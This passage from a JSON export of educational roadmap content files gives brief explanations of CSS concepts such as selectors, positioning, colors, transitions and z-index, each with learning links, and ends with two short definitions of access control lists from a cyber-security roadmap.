    "content": "# CSS\n\nCSS (Cascading Style Sheets) is a language used to describe the presentation of a document written in HTML or XML, including colors, layout, and fonts. It allows you to separate the content of your website (HTML) from its visual design, making websites more maintainable and adaptable. CSS uses rules to define how elements should be displayed, targeting specific HTML elements or groups of elements.\n\nVisit the following resources to learn more:\n\n- [@course@CSS Full Course for Beginners](https://www.youtube.com/watch?v=n4R2E7O-Ngo)\n- [@course@HTML & CSS Full Course - Beginner to Pro](https://www.youtube.com/watch?v=G3e-cpL7ofc)\n- [@course@Responsive Web Design Certification - Co-Learn HTML & CSS with guided projects](https://www.freecodecamp.org/learn/2022/responsive-web-design/)\n- [@article@Web.dev by Google — Learn CSS](https://web.dev/learn/css/)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/css/content/javascript@J1RsZPDKX-ocDvTh-Bg7N.md",
    "content": "# JavaScript\n\nJavaScript is a programming language primarily used to create interactive and dynamic content on websites. It allows developers to add features like animations, form validation, and real-time updates without needing to reload the page. It works alongside HTML and CSS to define the behavior of web pages.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@book@JavaScript from Beginner to Professional](https://www.gurukultti.org/admin/notice/javascript.pdf)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Build 30 Javascript projects in 30 days](https://javascript30.com/)\n- [@video@JavaScript Crash Course For Beginners](https://www.youtube.com/watch?v=hdI2bqOjy3c&t=4s)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/css/content/keyframe-animations@qmKXfmheAvlap45aFrP9m.md",
    "content": "# Keyframe Animations\n\nKeyframe animations in CSS allow you to control the intermediate steps in a CSS animation sequence. Instead of just defining the start and end states, you can specify multiple points (keyframes) along the animation timeline, defining the styles an element should have at each point. This provides granular control over how an element's appearance changes over time, enabling complex and visually appealing animations.\n\nVisit the following resources to learn more:\n\n- [@article@@keyframes](https://developer.mozilla.org/en-US/docs/Web/CSS/@keyframes)\n- [@article@CSS keyframes](https://css-tricks.com/almanac/rules/k/keyframes/)\n- [@video@Learn CSS Animations in 9 Minutes](https://www.youtube.com/watch?v=z2LQYsZhsFw)"
  },
  {
    "path": "src/data/roadmaps/css/content/line-height@aB04IOoWwIxm7BvwfgTYj.md",
    "content": "# Line Height\n\nLine height in CSS controls the vertical space between lines of text within an element. It essentially defines the distance from the top of one line of text to the top of the next line. A larger line height creates more space, improving readability, while a smaller line height can make text appear cramped.\n\nVisit the following resources to learn more:\n\n- [@article@line-height](https://developer.mozilla.org/en-US/docs/Web/CSS/line-height)\n- [@video@HTML & CSS for Absolute Beginners: Line height and spacing](https://www.youtube.com/watch?v=HaTxxAj3cBo)"
  },
  {
    "path": "src/data/roadmaps/css/content/lists@XuySIveFuvA_FvqDnNPRL.md",
    "content": "# Lists\n\nLists in CSS are used to style HTML list elements, such as `<ul>` (unordered list), `<ol>` (ordered list), and `<dl>` (definition list). CSS provides properties to control the appearance of list markers (bullets or numbers), their position, and the overall styling of the list items. This allows you to customize the visual presentation of lists beyond the default browser styles.\n\nVisit the following resources to learn more:\n\n- [@article@CSS lists and counters](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_lists)\n- [@video@CSS List Styles Tutorial for Beginners](https://www.youtube.com/watch?v=jcThx0U066w)"
  },
  {
    "path": "src/data/roadmaps/css/content/margin@e_m7y5YYPLFbVtoG79DBb.md",
    "content": "# Margin\n\nMargin in CSS defines the space around an HTML element's border. It creates a gap between the element and surrounding elements, controlling the spacing and layout of content on a webpage. Margins can be set on all four sides of an element (top, right, bottom, left) and can have positive or negative values.\n\nVisit the following resources to learn more:\n\n- [@article@Margin](https://developer.mozilla.org/en-US/docs/Web/CSS/margin)\n- [@video@How CSS Padding and Margin Works](https://www.youtube.com/watch?v=NZEz4yNITd8)"
  },
  {
    "path": "src/data/roadmaps/css/content/media-queries@1-VTjOseACNKca6TU07aM.md",
    "content": "# Media Queries\n\nMedia Queries are a powerful feature that allows you to apply different CSS styles based on characteristics of the device or screen being used to view a webpage. This enables you to create responsive designs that adapt to various screen sizes, resolutions, and orientations, ensuring an optimal viewing experience across a wide range of devices, from desktops to smartphones.\n\nVisit the following resources to learn more:\n\n- [@article@CSS media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_media_queries)\n- [@article@CSS Media Queries Guide](https://css-tricks.com/a-complete-guide-to-css-media-queries/)\n- [@video@Learn CSS Media Query In 7 Minutes](https://www.youtube.com/watch?v=yU7jJ3NbPdA)"
  },
  {
    "path": "src/data/roadmaps/css/content/multicolumn-layout@KoJ7syHd7Y3gyWW93dRnQ.md",
    "content": "# Multicolumn Layout\n\nMulticolumn layout in CSS allows you to divide a block of content into multiple columns, similar to newspaper layouts. This feature enables text and other content to flow automatically from one column to the next, improving readability and making efficient use of screen space, especially for longer articles or lists. You can control the number of columns, the gap between them, and a rule (line) between the columns for visual separation.\n\nVisit the following resources to learn more:\n\n- [@article@CSS multi-column layout](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_multicol_layout)\n- [@article@Basic concepts of multi-column layouts](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_multicol_layout/Basic_concepts)\n- [@video@CSS Multi Column](https://www.youtube.com/watch?v=uwoX1JQcE-w)"
  },
  {
    "path": "src/data/roadmaps/css/content/named-colors@9vVxubL4bB3FPQOPoM0TV.md",
    "content": "# Named Colors\n\nNamed colors in CSS are predefined color values represented by specific keywords. Instead of using hexadecimal codes or RGB values, you can use names like \"red,\" \"blue,\" \"green,\" or \"black\" to style elements. These names are understood by browsers and directly translate to specific color values, offering a simple and readable way to apply basic colors to your web pages.\n\nVisit the following resources to learn more:\n\n- [@article@Named colors](https://developer.mozilla.org/en-US/docs/Web/CSS/named-color)\n- [@video@CSS Colors Introduction - Color Names](https://www.youtube.com/shorts/lopsN9PCauk)"
  },
  {
    "path": "src/data/roadmaps/css/content/next-sibling@qvOddcSKg21RJBG5XTGfU.md",
    "content": "# Next Sibling Combinator\n\nThe next-sibling combinator in CSS (represented by the `+` symbol) selects an element that immediately follows another specific element in the HTML structure. It targets the element that is the very next sibling, meaning it shares the same parent and appears directly after the first element in the source code. This allows you to style elements based on their immediate preceding sibling.\n\nVisit the following resources to learn more:\n\n- [@article@Next-sibling combinator](https://developer.mozilla.org/en-US/docs/Web/CSS/Next-sibling_combinator)\n- [@article@https://css-tricks.com/child-and-sibling-selectors/](https://css-tricks.com/child-and-sibling-selectors/)"
  },
  {
    "path": "src/data/roadmaps/css/content/none@doVYds82d5w1hIc33hkMq.md",
    "content": "# Display: None\n\n`display: none` is a CSS property value that completely removes an element from the document flow. When applied, the element will not take up any space on the page, and it will not be rendered at all. It's as if the element doesn't exist in the HTML structure for visual purposes.\n\nVisit the following resources to learn more:\n\n- [@article@CSS display:none and visibility:hidden – What's the Difference?](https://www.freecodecamp.org/news/css-display-none-and-visibility-hidden-the-difference/)\n- [@video@We can now transition to and from display: none](https://www.youtube.com/watch?v=vmDEHAzj2XE)"
  },
  {
    "path": "src/data/roadmaps/css/content/opacity@gm7kRAgfG3FKJqZhZ3Noj.md",
    "content": "# Opacity\n\nOpacity in CSS controls the transparency of an element. It determines how much of the background behind the element is visible. A value of `1` means the element is fully opaque (not transparent), while a value of `0` means it is completely transparent (invisible). Values between `0` and `1` create varying degrees of transparency.\n\nVisit the following resources to learn more:\n\n- [@article@Opacity](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity)\n- [@video@CSS Opacity - One Minute Coding](https://www.youtube.com/watch?v=QdkgbodF71k)"
  },
  {
    "path": "src/data/roadmaps/css/content/outline@EirP1Bs-FGEtPxuY2k7wF.md",
    "content": "# Outline\n\nIn CSS, the `outline` property draws a line around an element, outside the border. Unlike borders, outlines don't affect the element's dimensions or position in the layout. They are primarily used for highlighting elements, often for accessibility purposes like indicating focus. You can control the style, color, and width of the outline.\n\nVisit the following resources to learn more:\n\n- [@article@Outline](https://developer.mozilla.org/en-US/docs/Web/CSS/outline)\n- [@video@CSS Outline vs Border - differences, advantages, and disadvantages](https://www.youtube.com/watch?v=xx_pJ2ouGnc)"
  },
  {
    "path": "src/data/roadmaps/css/content/padding@qJ3bBc7pNgZQU5I31kqKA.md",
    "content": "# Padding\n\nPadding refers to the space between the content of an element (like text or an image) and its border. It essentially creates a cushion around the content within the element's box. You can control the amount of padding on all four sides of an element (top, right, bottom, left) individually or set a uniform padding for all sides.\n\nVisit the following resources to learn more:\n\n- [@article@Padding](https://developer.mozilla.org/en-US/docs/Web/CSS/padding)\n- [@video@How CSS Padding and Margin Works](https://www.youtube.com/watch?v=NZEz4yNITd8)"
  },
  {
    "path": "src/data/roadmaps/css/content/performance@-dPxULwMhdnnBoX3givbd.md",
    "content": "# Performance\n\nCSS performance refers to how efficiently CSS code is processed and rendered by a browser, impacting the speed and responsiveness of a website. Optimizing CSS for performance involves techniques like minimizing file sizes, reducing the complexity of selectors, and leveraging browser caching to ensure a smooth user experience.\n\nVisit the following resources to learn more:\n\n- [@article@CSS performance optimization](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Performance/CSS)\n- [@article@How to Optimize Your CSS Code for Faster Web Pages](https://www.freecodecamp.org/news/how-to-optimize-your-css-code-for-faster-web-pages/)\n- [@article@The Complete Guide to Optimizing CSS for Fast Page Loads](https://www.builder.io/blog/the-complete-guide-to-optimizing-css-for-fast-page-loads)"
  },
  {
    "path": "src/data/roadmaps/css/content/position@un_IujSN8vtDM40OOJC1n.md",
    "content": "# Position\n\nPosition in CSS controls how an element is placed within its containing element or the document itself. It allows you to precisely define where an element appears on the page, influencing its relationship with other elements and the overall layout. Different position values offer varying levels of control, from static placement within the normal document flow to fixed positions that remain in place even when the user scrolls.\n\nVisit the following resources to learn more:\n\n- [@article@Position](https://developer.mozilla.org/en-US/docs/Web/CSS/position)\n- [@video@Learn CSS Positions in 4 minutes](https://www.youtube.com/watch?v=YEmdHbQBCSQ)"
  },
  {
    "path": "src/data/roadmaps/css/content/postcss@EOGYRC1TiXOwrR1pjW6Ky.md",
    "content": "# PostCSS\n\nPostCSS is a tool that uses JavaScript to transform CSS. It acts as a CSS parser and provides an API to analyze and modify the CSS code. It's often used with plugins to automate tasks like adding vendor prefixes, linting CSS, or supporting future CSS syntax.\n\nVisit the following resources to learn more:\n\n- [@official@PostCSS](https://postcss.org/)\n- [@opensource@PostCSS](https://github.com/postcss/postcss)\n- [@article@What is PostCSS? How to Use Plugins to Automate CSS Tasks](https://www.freecodecamp.org/news/what-is-postcss/)\n- [@video@Learn PostCSS In 15 Minutes](https://www.youtube.com/watch?v=Kn2SKUOaoT4&t=573s)"
  },
  {
    "path": "src/data/roadmaps/css/content/properties--values@awMTGfeQlXQNILvEO8nOJ.md",
    "content": "# Properties and Values\n\nIn CSS, properties are like instructions that tell the browser how to style an HTML element. Each property has a value, which specifies the exact styling to apply. For example, the `color` property determines the text color, and its value could be `red`, `#00FF00`, or `rgb(0, 255, 0)`. The combination of a property and its value is called a declaration, and declarations are the building blocks of CSS rules."
  },
  {
    "path": "src/data/roadmaps/css/content/pseudo-classes@_KdEkwm0GmKHcahivCubL.md",
    "content": "# Pseudo-Classes\n\nPseudo-classes in CSS are keywords added to selectors that specify a special state of the selected element(s). They let you style an element based on things like user interaction (e.g., hovering), its position in the document structure (e.g., the first child), or other element characteristics (e.g., being checked). They allow you to apply styles to elements dynamically without needing to modify the HTML or use JavaScript.\n\nVisit the following resources to learn more:\n\n- [@article@Pseudo-classes](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes)\n- [@article@CSS Pseudo-classes](https://www.w3schools.com/css/css_pseudo_classes.asp)\n- [@video@Learn CSS pseudo-classes in 7 minutes!](https://www.youtube.com/watch?v=Nrsy_2ogRfQ)"
  },
  {
    "path": "src/data/roadmaps/css/content/pseudo-elements@yj2GTGrlDHp9gNd3C476k.md",
    "content": "# Pseudo-Elements\n\nPseudo-elements in CSS let you style specific parts of an element. They allow you to add styles to elements that don't actually exist in the HTML structure, like the first line of a paragraph or content before or after an element. This is done using double colons (::) followed by the pseudo-element name.\n\nVisit the following resources to learn more:\n\n- [@article@Pseudo-elements](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements)\n- [@article@CSS Pseudo-elements](https://www.w3schools.com/css/css_pseudo_elements.asp)\n- [@video@Learn CSS pseudo-elements in 5 minutes!](https://www.youtube.com/watch?v=_LxYNxeWpBo)"
  },
  {
    "path": "src/data/roadmaps/css/content/relative@Hp51JS9rwAMdWhYnex5NB.md",
    "content": "# Relative Positioning\n\nRelative positioning in CSS allows you to shift an element from its normal position in the document flow. Instead of being fixed in place, the element is moved relative to where it _would_ have been if it were statically positioned. This movement doesn't affect the positioning of other elements around it; they behave as if the element were still in its original location. You specify the amount of movement using the `top`, `right`, `bottom`, and `left` properties.\n\nVisit the following resources to learn more:\n\n- [@video@CSS position deep dive](https://www.youtube.com/watch?v=fF_NVrd1s14)"
  },
  {
    "path": "src/data/roadmaps/css/content/responsive-typography@9XDJcFh7V-7ppAEP_8hJl.md",
    "content": "# Responsive Typography\n\nResponsive typography is about making the text on a webpage look good and be easily readable on different screen sizes and devices. It involves adjusting font sizes, line heights, letter spacing, and other text properties to ensure optimal readability, whether someone is viewing the site on a large desktop monitor or a small mobile phone. The goal is to create a consistent and pleasant reading experience across all platforms.\n\nVisit the following resources to learn more:\n\n- [@article@How To Create a Responsive Text](https://www.w3schools.com/howto/howto_css_responsive_text.asp)\n- [@article@The elements of responsive typography](https://blog.logrocket.com/elements-responsive-typography/)\n- [@video@Responsive Typography with CSS Clamp](https://www.youtube.com/watch?v=erqRw3E-vn4)"
  },
  {
    "path": "src/data/roadmaps/css/content/rgb@74sme3agcXP7TRSGjYcWG.md",
    "content": "# RGB Colors in CSS\n\nRGB in CSS allows you to define colors using the Red, Green, and Blue color model. You specify the intensity of each color component (Red, Green, and Blue) as a value between 0 and 255, or as a percentage from 0% to 100%. By combining different amounts of red, green, and blue, you can create a wide range of colors. For example, `rgb(255, 0, 0)` represents pure red, `rgb(0, 255, 0)` represents pure green, and `rgb(0, 0, 255)` represents pure blue.\n\nVisit the following resources to learn more:\n\n- [@article@Color](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value)\n- [@article@rgb function](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/rgb)\n- [@article@CSS RGB Colors](https://www.w3schools.com/css/css_colors_rgb.asp)\n- [@video@CSS - Colors RGB & RGBA - W3Schools.com](https://www.youtube.com/watch?v=6tbUo6PXc88)"
  },
  {
    "path": "src/data/roadmaps/css/content/rgba-hsla@wgopn2aZpRKXKw3PSCvWQ.md",
    "content": "# rgba and hsla Colors\n\n`rgba` and `hsla` are color models used in CSS to define colors with added transparency. `rgba` represents colors using Red, Green, Blue, and Alpha (transparency) values, while `hsla` uses Hue, Saturation, Lightness, and Alpha values. The alpha value ranges from 0 (fully transparent) to 1 (fully opaque), allowing for semi-transparent colors.\n\nVisit the following resources to learn more:\n\n- [@article@rgb](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/rgb)\n- [@article@hsl](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/hsl)"
  },
  {
    "path": "src/data/roadmaps/css/content/rules@obhoMq0OIyEolhppby1XM.md",
    "content": "# CSS Rules\n\nCSS rules are the fundamental building blocks of CSS stylesheets. Each rule specifies how particular HTML elements should be styled. A rule consists of a selector, which identifies the element(s) to be styled, and a declaration block, which contains one or more property-value pairs that define the styles to be applied. These property-value pairs are separated by semicolons and define the visual presentation of the selected elements.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to CSS syntax: declarations, rulesets, and statements](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_syntax/Syntax)"
  },
  {
    "path": "src/data/roadmaps/css/content/sass@1bCeydLILdEKV9NJe83gK.md",
    "content": "# Sass\n\nSass (Syntactically Awesome Style Sheets) is a preprocessor scripting language that is compiled into CSS. It extends the capabilities of basic CSS by allowing you to use features like variables, nesting, mixins, functions, and inheritance. This makes CSS more maintainable, organized, and efficient to write.\n\nVisit the following resources to learn more:\n\n- [@official@Sass](https://sass-lang.com/)\n- [@official@Sass Basics](https://sass-lang.com/guide/)\n- [@article@Sass Tutorial](https://www.w3schools.com/sass/)\n- [@video@Sass Crash Course](https://www.youtube.com/watch?v=nu5mdN2JIwM)"
  },
  {
    "path": "src/data/roadmaps/css/content/selector@v5fDxilI3q2vvt_B4Mxer.md",
    "content": "# Selector\n\nA selector is a fundamental part of a CSS rule. It's essentially a pattern that identifies which HTML elements the rule should be applied to. Selectors can target elements based on their tag name, class, ID, attributes, or their relationship to other elements in the document.\n\nVisit the following resources to learn more:\n\n- [@article@CSS selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_selectors)\n- [@video@Learn Every CSS Selector In 20 Minutes](https://www.youtube.com/watch?v=l1mER1bV0N0)"
  },
  {
    "path": "src/data/roadmaps/css/content/simple-selectors@BaIUVApePcGNdYabadnbz.md",
    "content": "# Simple Selectors\n\nSimple selectors in CSS are the basic building blocks for targeting HTML elements you want to style. They directly select elements based on their name (like `p` for paragraphs), ID (using `#`), or class (using `.`). These selectors are straightforward and provide a fundamental way to apply styles to specific parts of your webpage.\n\nVisit the following resources to learn more:\n\n- [@article@Basic CSS selectors](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/Basic_selectors)\n- [@video@CSS - Simple Selectors | W3Schools](https://www.youtube.com/watch?v=ZNskBxLVOfs)"
  },
  {
    "path": "src/data/roadmaps/css/content/static@qaZfDil0Slda9t-RN0KWH.md",
    "content": "# Static Positioning\n\nStatic positioning is the default way elements are placed on a webpage. Elements with static positioning are rendered in the order they appear in the HTML, following the normal document flow. You can't move them using the `top`, `right`, `bottom`, or `left` properties.\n\nVisit the following resources to learn more:\n\n- [@article@CSS position deep dive](https://www.youtube.com/watch?v=fF_NVrd1s14)"
  },
  {
    "path": "src/data/roadmaps/css/content/sticky@mJifV0kjJTwkllmZVSqec.md",
    "content": "# Sticky Positioning\n\nSticky positioning in CSS is a hybrid of relative and fixed positioning. An element with `position: sticky;` is initially positioned relatively, but when the user scrolls to a point where the element would normally scroll off-screen, it becomes fixed, sticking to the specified offset (e.g., `top: 0;`) until the containing block's boundary is reached.\n\nVisit the following resources to learn more:\n\n- [@article@CSS Position Sticky - How It Really Works!](https://elad.medium.com/css-position-sticky-how-it-really-works-54cd01dc2d46)\n- [@video@A couple of cool things you can do with CSS position sticky](https://www.youtube.com/watch?v=8TyoihVGErI)\n- [@video@CSS position deep dive](https://www.youtube.com/watch?v=fF_NVrd1s14)"
  },
  {
    "path": "src/data/roadmaps/css/content/subsequent-sibling@_dWrjp_fK4gmGwiWrgBbb.md",
    "content": "# Subsequent Sibling Combinator\n\nThe subsequent-sibling combinator in CSS is a way to select elements that are siblings (elements sharing the same parent) and appear directly after a specified element. It uses the tilde (~) symbol to denote this relationship. This selector targets all following siblings, not just the immediately adjacent one.\n\nVisit the following resources to learn more:\n\n- [@article@Subsequent-sibling combinator](https://developer.mozilla.org/en-US/docs/Web/CSS/Subsequent-sibling_combinator)"
  },
  {
    "path": "src/data/roadmaps/css/content/tables@Q-6tdHPE-xpPGIG8J_Wz7.md",
    "content": "# Tables\n\nTables in CSS are used to format tabular data on a webpage, arranging information into rows and columns. CSS provides properties to control the appearance of tables, including borders, spacing, alignment, and styling of individual cells, rows, and columns. These properties enable developers to create visually appealing and well-structured tables that present data effectively.\n\nVisit the following resources to learn more:\n\n- [@article@Table](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_table)\n- [@video@Styling HTML tables with CSS - Web Design/UX Tutorial](https://www.youtube.com/watch?v=biI9OFH6Nmg)"
  },
  {
    "path": "src/data/roadmaps/css/content/text-alignment@SABFbvM47j1cYCyeNfMZR.md",
    "content": "# Text Alignment\n\nText alignment in CSS controls how text is positioned horizontally within its containing element. It determines whether text is aligned to the left, right, center, or justified (spread evenly across the line). This property enhances readability and visual appeal by organizing text in a structured manner.\n\nVisit the following resources to learn more:\n\n- [@article@text-align](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)\n- [@article@text-align | CSS Tricks](https://css-tricks.com/almanac/properties/t/text-align/)"
  },
  {
    "path": "src/data/roadmaps/css/content/text-decoration@AUzbo8UwpL-XxvhMCvtoe.md",
    "content": "# Text Decoration\n\nText decoration in CSS refers to the styling applied to text to enhance its appearance or convey specific meanings. It primarily involves adding lines above, below, or through the text. Common decorations include underlines, overlines, and line-throughs, which can be customized with different colors, styles, and thicknesses to achieve various visual effects.\n\nVisit the following resources to learn more:\n\n- [@article@text-decoration](https://developer.mozilla.org/en-US/docs/Web/CSS/text-decoration)\n- [@video@CSS Tutorial For Beginners - Text Decoration](https://www.youtube.com/watch?v=dm54To0EOpw)"
  },
  {
    "path": "src/data/roadmaps/css/content/text-shadows@Mq4Oo9cCWqkPGHkgpNRTz.md",
    "content": "# Text Shadows\n\nText shadows in CSS add depth and visual interest to text by creating a blurred, offset copy of the text behind it. This effect is achieved using the `text-shadow` property, which allows you to specify the shadow's horizontal offset, vertical offset, blur radius, and color. Multiple shadows can be applied to a single text element, creating complex and layered effects.\n\nVisit the following resources to learn more:\n\n- [@article@text-shadow](https://developer.mozilla.org/en-US/docs/Web/CSS/text-shadow)\n- [@video@Learn CSS shadows in 3 minutes!](https://www.youtube.com/watch?v=Yqs_61ub1Ng)"
  },
  {
    "path": "src/data/roadmaps/css/content/text-spacing@U3oH6TFRezkciuROAU0wd.md",
    "content": "# Text Spacing\n\nText spacing in CSS involves adjusting the space between characters, words, and lines of text. This control allows for improved readability and visual appeal by fine-tuning the horizontal and vertical spacing within text elements. Properties like `letter-spacing`, `word-spacing`, and `line-height` are used to manipulate these spaces.\n\nVisit the following resources to learn more:\n\n- [@article@letter-spacing](https://developer.mozilla.org/en-US/docs/Web/CSS/letter-spacing)\n- [@article@word-spacing](https://developer.mozilla.org/en-US/docs/Web/CSS/word-spacing)\n- [@article@CSS Text Spacing](https://www.codeguage.com/v1/courses/css/text-spacing)\n- [@video@HTML & CSS for Absolute Beginners: Line height and spacing](https://www.youtube.com/watch?v=HaTxxAj3cBo)"
  },
  {
    "path": "src/data/roadmaps/css/content/text-styling@vo34F_AHkMlyq6uNRPk-1.md",
    "content": "# Text Styling\n\nText styling in CSS involves controlling the visual appearance of text elements on a webpage. This includes properties that affect the font family, size, weight, color, and style of the text. Additionally, it encompasses properties for text alignment, decoration (like underlines), letter spacing, line height, and text transformations (such as capitalization).\n\nVisit the following resources to learn more:\n\n- [@article@Fundamental text and font styling](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Text_styling/Fundamentals)\n- [@article@Styling Text in CSS](https://pieces.app/blog/styling-text-in-css)\n- [@video@Beginner’s guide to styling text with CSS](https://www.youtube.com/watch?v=Y5TYDo9Qcv4)"
  },
  {
    "path": "src/data/roadmaps/css/content/text-transform@v0IUvnrLv3OiBQ-NkM9Lv.md",
    "content": "# Text Transform\n\nText transform in CSS controls the capitalization of text. It allows you to change the case of letters within an element, regardless of how the text is originally written in the HTML. You can transform text to uppercase, lowercase, capitalize (first letter of each word), or keep the original case.\n\nVisit the following resources to learn more:\n\n- [@article@text-transform](https://developer.mozilla.org/en-US/docs/Web/CSS/text-transform)\n- [@video@CSS Tutorial For Beginners - Text Transform](https://www.youtube.com/watch?v=j0FS2hCoIjs)"
  },
  {
    "path": "src/data/roadmaps/css/content/transforms@ZwlCU9jE9YBcEOBo0vFqq.md",
    "content": "# Transforms\n\nTransforms in CSS allow you to alter the shape and position of elements in a two-dimensional or three-dimensional space. This includes operations like rotating, scaling, skewing, and translating elements, providing a way to create visually engaging effects and manipulate the layout without affecting the underlying document flow.\n\nVisit the following resources to learn more:\n\n- [@article@CSS Animations](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_animations)\n- [@article@CSS Transforms](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_transforms)\n- [@article@Transform](https://css-tricks.com/almanac/properties/t/transform/)\n- [@video@Learn CSS transformations in 9 minutes!](https://www.youtube.com/watch?v=qdeIy9_fbxE)"
  },
  {
    "path": "src/data/roadmaps/css/content/transitions@SNcVcjcvtph3W7KTx1N-v.md",
    "content": "# Transitions\n\nTransitions in CSS allow you to smoothly change property values over a specified duration. Instead of an abrupt change, a transition creates a gradual effect when a CSS property changes, such as when hovering over an element or when a class is added or removed. This adds visual polish and improves the user experience by making interactions feel more fluid and responsive.\n\nVisit the following resources to learn more:\n\n- [@article@CSS transitions](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_transitions)\n- [@article@Using CSS transitions](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_transitions/Using_CSS_transitions)\n- [@video@Animating with CSS Transitions - A look at the transition properties](https://www.youtube.com/watch?v=Nloq6uzF8RQ)"
  },
  {
    "path": "src/data/roadmaps/css/content/units-with-functions@yRqSmhRwvZXbNXuCNYCzo.md",
    "content": "# Units with Functions\n\nUnits with functions in CSS allow you to dynamically calculate values for properties using functions like `calc()`, `min()`, `max()`, and `clamp()`. These functions enable you to perform mathematical operations and comparisons directly within your CSS, making your designs more flexible and responsive by adapting to different screen sizes and contexts. This helps in creating more dynamic and adaptable layouts.\n\nVisit the following resources to learn more:\n\n- [@video@A CSS Unit Deep Dive - Learn CSS Units & When To Use Them](https://www.youtube.com/watch?v=fzZTvLmmTzM)"
  },
  {
    "path": "src/data/roadmaps/css/content/universal@4LjxorN5jQnm9ZWKPk-pu.md",
    "content": "# Universal Selector\n\nThe universal selector in CSS is a simple selector that matches any element on a webpage. Represented by an asterisk (\\*), it applies a specific style to all elements, regardless of their type or position in the document tree. It's often used to reset or normalize styles across different browsers, ensuring a consistent baseline appearance.\n\nVisit the following resources to learn more:\n\n- [@article@Universal Selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/Universal_selectors)\n- [@video@CSS Tutorial For Beginners - The Universal Selector](https://www.youtube.com/watch?v=EO4ToIX-ZQk)"
  },
  {
    "path": "src/data/roadmaps/css/content/visibility@sO-XiY9yJZMedzyR_7Gdq.md",
    "content": "# Visibility\n\nThe `visibility` property in CSS controls whether an element is visible or hidden. When an element's visibility is set to `hidden`, it disappears from the page, but the space it would have occupied remains. This is different from `display: none`, which removes the element from the document flow entirely, causing surrounding elements to reflow.\n\nVisit the following resources to learn more:\n\n- [@article@Visibility](https://developer.mozilla.org/en-US/docs/Web/CSS/visibility)\n- [@article@CSS display:none and visibility:hidden – What's the Difference?](https://www.freecodecamp.org/news/css-display-none-and-visibility-hidden-the-difference/)"
  },
  {
    "path": "src/data/roadmaps/css/content/width--height@quGp1pgbrEH37WA5URb_g.md",
    "content": "# Width and Height\n\nWidth and height in CSS define the size of an element's content area. The `width` property sets the horizontal space an element occupies, while the `height` property sets the vertical space. These properties can be specified using various units like pixels, percentages, or keywords like `auto`.\n\nVisit the following resources to learn more:\n\n- [@article@CSS Width / Height Properties](https://www.programiz.com/css/width-height)\n- [@video@Learn CSS height and width in 6 minutes!](https://www.youtube.com/watch?v=QctF-i4-GuM)"
  },
  {
    "path": "src/data/roadmaps/css/content/z-index--stacking-context@xep8iF-7XOYLY2xeblM-A.md",
    "content": "# Z-Index and Stacking Context\n\nZ-index in CSS controls the vertical stacking order of elements that overlap. Elements with a higher z-index value will appear in front of elements with a lower z-index value. Stacking context is a three-dimensional conceptualization of HTML elements along an imaginary z-axis relative to the viewer, which determines the order in which elements appear in front of or behind each other.\n\nVisit the following resources to learn more:\n\n- [@article@z-index](https://developer.mozilla.org/en-US/docs/Web/CSS/z-index)\n- [@video@CSS Z Index Property: What is CSS Z-Index, Stacking Order, and Why Your Z-Index Is Not Working?](https://www.youtube.com/watch?v=vo1JBj-OAa8)"
  },
  {
    "path": "src/data/roadmaps/css/css.md",
    "content": "---\nrenderer: editor\n---"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/acl@35oCRzhzpVfitQPL4K9KC.md",
    "content": "# Access Control Lists (ACLs)\n\nAn Access Control List (ACL) is a set of permissions attached to an object (like a file, folder, or network resource) that specifies which users or groups have access to the object and what level of access they are granted (e.g., read, write, execute). Essentially, it's a table that tells a system who is allowed to do what.\n\nVisit the following resources to learn more:\n\n- [@article@Access Control List: Definition, Types & Usages](https://www.okta.com/uk/identity-101/access-control-list/)\n- [@video@Access Control Lists](https://www.youtube.com/watch?v=IwLyr0mKK1w)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/acls@8JM95sonFUhZCdaynUA_M.md",
    "content": "# ACLs\n\nAn Access Control List (ACL) is a security mechanism used to define which users or system processes are granted access to objects, such as files, directories, or network resources, and what operations they can perform on those objects. ACLs function by maintaining a list of permissions attached to each object, specifying the access rights of various entities—like users, groups, or network traffic—thereby providing fine-grained control over who can read, write, execute, or modify the resources. This method is essential in enforcing security policies, reducing unauthorized access, and ensuring that only legitimate users can interact with sensitive data or systems.\n\nVisit the following resources to learn more:\n\n- [@article@Access Control List: Definition, Types & Usages](https://www.okta.com/uk/identity-101/access-control-list/)\n- [@video@Access Control Lists](https://www.youtube.com/watch?v=IwLyr0mKK1w)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/antimalware@9QtY1hMJ7NKLFztYK-mHY.md",
